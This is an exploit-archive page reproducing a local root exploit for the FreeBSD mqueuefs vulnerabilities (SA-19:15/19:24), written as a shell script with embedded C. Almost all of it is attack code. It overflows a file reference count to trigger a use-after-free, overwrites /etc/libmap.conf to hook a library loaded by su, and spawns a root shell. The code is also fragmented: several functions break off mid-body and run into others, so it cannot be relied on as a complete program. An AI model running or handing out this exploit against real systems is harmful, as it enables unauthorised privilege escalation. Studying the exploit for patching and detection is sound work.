Exploits / Vulnerability Discovered : 2019-12-30 |
Type : local |
Platform : freebsd
[+] Code ...
# Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation
# Author: Karsten König of Secfault Security
# Date: 2019-12-30
# Change line 719 to choose which vulnerability
# is targeted
#
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper
# Exploit for FreeBSD-SA-19:15.mqueuefs and
# FreeBSD-SA-19:24.mqueu
#!/bin/sh
echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities"
umask 0000
# libmap.conf has to exist because it is
# the attacked file
if [ ! -f /etc/libmap.conf ]; then
echo "[!] libmap.conf has to exist"
exit
fi
# Make a backup of the current libmap.conf
# because it has to be reconstructed afterwards
cp /etc/libmap.conf ./
// Tweak NUM_THREADS and NUM_FORKS if
// more RAM is available on the target
//
// These parameters were tested with
// up to 16 GB of RAM on a dual-core
// Intel based system
#define N 1000000
#define NUM_THREADS 600
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25
// These are temporary files
// which are created during
// exploitation
#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"
// This is the attacked file
#define ATTACK_PATH "/etc/libmap.conf"
// These are parameters from the attack script
#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"
// The exploit will stick some threads
// to specific cores
#define CORE_0 0
#define CORE_1 1
// Syscalls from mqueuefs
#define KMQ_OPEN 457
#define KMQ_TIMEDSEND 460
// Taken from sys/mqueue.h
struct mq_attr {
long mq_flags;
long mq_maxmsg;
long mq_msgsize;
long mq_curmsgs;
long __reserved[4];
};
// Both syscalls are indirectly called to be less reliable on
// installed libraries
int mq_open(const char *name, int oflag, mode_t mode,
const struct mq_attr *attr)
{
int fd;
fd = syscall(KMQ_OPEN, name, oflag, mode, attr);
return fd;
}
// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is called but open file descriptors still points to the struct,
// hence fdrop() is called at exit of the program and will raise a
// kernel panic because f_count will be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int fd)
{
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
}
// Convenience function to stick a thread to a CPU core
int stick_thread_to_core(int core) {
cpuset_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
// The thread has to wait for the preparation of the
// race condition
printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
pthread_mutex_lock(&trigger_mtx);
pthread_cond_wait(&trigger_cond, &trigger_mtx);
// This sleep parameter helps to render
// the exploit more reliable
//
// Tweeking may be needed for the target system
usleep(40);
// Close two fds to trigger UaF
//
// This assumes that fget_write() in kern_writev()
// was already successful!
//
// Otherwise kernel panic is triggered
//
// f_count = 2 (primitive+fget_write)
close(fd);
close(fd2);
// f_count = 0 => free
fd = open(ATTACK_PATH, O_RDONLY);
// refcount = 1
// all fds do now point to the attacked path
printf("[+] trigger_uaf: Opened read-only file\n");
printf("[+] trigger_uaf: Exit\n");
pthread_exit(NULL);
}
// This function will write to many invalid file streams
//
// This will eventually increase the number of dirty buffers
// in the kernel and creates an exploitable race condition
// for the Use-after-Free
void *hammer(void *arg) {
int i, j, k, client_socket;
char buf[FILE_SIZE], sync_buf[3];
FILE *fd[N_FILES];
struct sockaddr_un remote;
// Open many files and unlink them directly
// to render the file stream invalid
for (i = 0; i < N_FILES; i++) {
unlink(HAMMER_PATH);
if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
perror("[!] fopen");
exit(1);
}
}
for (i = 0; i < FILE_SIZE; i++) {
buf[i] = 'a';
}
pthread_mutex_lock(&hammer_mtx);
// Signal that the thread is prepared
//
// Sometimes sendto() fails because
// no free buffer is available
for (;;) {
if (sendto(client_socket,
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &remote,
sizeof(remote)) != -1) {
break;
}
}
// Wait for the other hammer threads
pthread_cond_wait(&hammer_cond, &hammer_mtx);
pthread_mutex_unlock(&hammer_mtx);
// Write to the file streams to create many dirty buffers
for (i = 0; i < N; i++) {
for (k = 0; k < N_FILES; k++) {
rewind(fd[k]);
}
for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
for (k = 0; k < N_FILES; k++) {
if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
perror("[!] fwrite");
exit(1);
}
}
fflush(NULL);
}
}
pthread_exit(NULL);
}
// This function monitors the number of
// dirty buffers.
//
// If enough dirty buffers do exist, a
// signal to the write and Use-after-Free
// trigger thread is signalled to
// execute the actual attack
//
// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
int hidirtybuffers, numdirtybuffers;
size_t len;
// This function will execute the write operation
// to the attacked path
void *write_to_file(void *thread_args) {
int fd, fd2, nbytes;
int *fd_ptr;
char buf[256];
struct thread_data *thread_data;
struct mq_attr attrs;
if (stick_thread_to_core(CORE_1) != 0) {
perror("[!] write_to_file: Could not stick thread to core");
}
// Wait for the signal to execute the write operation
printf("[+] write_to_file: Wait for signal from monitor\n");
pthread_mutex_lock(&write_mtx);
pthread_cond_wait(&write_cond, &write_mtx);
// Write to the temporary file
//
// During the write operation the exploit will trigger
// the Use-after-Free and exchange the written file
// with the attacked file to render a write to it
snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
nbytes = write(fd, buf, strlen(buf));
// Reopen directly after write to prevent panic later
//
// After the write f_count == 0 because after trigger_uaf()
// opened the read-only file, f_count == 1 and write()
// calls fdrop() at the end
//
// => f_count == 0
//
// A direct open hopefully assigns the now again free file
// object to fd so that we can prevent the panic with our
// increment primitive.
*fd_ptr = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);
if (*fd_ptr == -1)
perror("[!] write_to_file: mq_open");
if (nbytes < 0) {
perror("[!] write_to_file: write");
} else if (nbytes > 0) {
printf("[+] write_to_file: We have written something...\n");
if (check_write(fd2) > 0)
printf("[+] write_to_file: It (probably) worked!\n");
else
printf("[!] write_to_file: It worked not :(\n");
}
// This function prepares the Use-after-Free due to
// a reference counter overflow
void prepare(int fds[3]) {
int fd, fd2, fd3, trigger_fd;
u_int32_t i;
struct mq_attr attrs;
attrs.mq_maxmsg = 10;
attrs.mq_msgsize = sizeof(int);
printf("[+] Start UaF preparation\n");
printf("[+] This can take a while\n");
// Open a mqueue file
fd = mq_open("/pwn_mq", O_RDWR | O_CREAT, 0666, &attrs);
if (fd == -1) {
perror("open");
exit(1);
}
// fp->f_count will be incremented by 1 per iteration due
// to the bug in freebsd32_kmq_timedsend()
//
// That is, 0xfffffffe iterations will increment it to
// 0xffffffff (f_count starts with 1 because of mq_open())
//
// The bug is triggered because freebsd_kqm_timedsend will eventually
// try to call copyin() with the pointer to address 0x1 which
// is invalid
for (i = 0; i < 0xfffffffe; i++) {
// just a progress message, nothing special about the magic values
if (i % 0x19999990 == 0)
printf("[+] Progress: %d%%\n", (u_int32_t) (i / 0x28f5c28));
mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
}
// Every dup() increases fp->f_count by 1
//
// Using dup() works because FreeBSD's mqueue implementation
// is implemented by using file objects (struct file) internally.
//
// This circumvents an infinite loop in fget_unlocked() as dup()
// does not use _fget() but fhold() to increase the counter.
fd2 = dup(fd);
if (fd2 == -1) {
perror("dup");
exit(1);
}
fd3 = dup(fd);
if (fd3 == -1) {
perror("dup");
exit(1);
}
// Close the mqueue file to trigger a free operation
//
// The descriptors fd2 and fd3 will still point
// to the freed object
//
// Opening another file will render these descriptors
// to point the newly opened file
close(fd);
trigger_fd = open_tmp(NULL);
fds[0] = trigger_fd;
fds[1] = fd2;
fds[2] = fd3;
printf("[+] Finished UaF preparation\n");
}
// This function will monitor that all
// hammer threads are opened
void read_thread_status(int server_socket) {
int bytes_rec, count;
struct sockaddr_un client;
socklen_t len;
char buf[256];
struct timeval tv;
// Create the thread to monitor the number of
// dirty buffers directly in the beginning
// to be ready when needed
pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);
// Prepare the UaF using the 0day
prepare(fds);
fd = fds[0];
fd2 = fds[1];
fd3 = fds[2];
// Create the threads which will execute the exploit
thread_data.fd = fd;
thread_data.fd2 = fd2;
pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
for (j = 0; j < NUM_FORKS; j++) {
if ((pids[j] = fork()) < 0) {
perror("[!] fork");
abort();
}
else if (pids[j] == 0) {
// Close the file descriptors
// becasue each fork will have an own reference
// to the file object, thus increasing the
// reference counter
close(fd);
close(fd2);
close(fd3);
pthread_mutex_init(&hammer_mtx, NULL);
pthread_cond_init(&hammer_cond, NULL);
// Create the hammer threads
for (i = 0; i < NUM_THREADS; i++) {
pthread_create(&hammer_threads[i], NULL, hammer, NULL);
}
printf("[+] Fork %d created all threads\n", j);
// Wait for the signal to start hammering from the parent
if ((bytes_rec = recvfrom(hammer_socket[j],
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] accept");
abort();
}
// Broadcast to the hammer threads to
// start hammering
pthread_cond_broadcast(&hammer_cond);
// Wait for the hammer threads
for (i = 0; i < NUM_THREADS; i++) {
pthread_join(hammer_threads[i], NULL);
}
exit(0);
} else {
printf("[+] Created child with PID %d\n", pids[j]);
}
}
// Wait for the preparation of all hammer threads
// in the forks.
//
// If all are prepared, send a signal to the childs
// to start the hammering process to create dirty
// buffers.
read_thread_status(server_socket);
printf("[+] Send signal to Start Hammering\n");
for (i = 0; i < NUM_FORKS; i++) {
if (sendto(hammer_socket[i],
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &hammer_socket_addr[i],
sizeof(hammer_socket_addr[0])) == -1) {
perror("[!] sendto");
exit(1);
}
}
// Wait for all threads to finish
pthread_join(monitor_thread, NULL);
for (i = 0; i < NUM_FORKS; i++) {
kill(pids[i], SIGKILL);
printf("[+] Killed %d\n", pids[i]);
}
# Compile the shared library object
cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
# Start the exploit
#
# su will execute the shared library object
# that creates the shell binary copy
echo "[+] Firing the Exploit"
./exploit
su
# Ensure that everything has worked
# and execute the root-shell
if [ -f /tmp/xxxx ]; then
echo "[+] Enjoy!"
echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
/tmp/xxxx
else
echo "[!] FAIL"
fi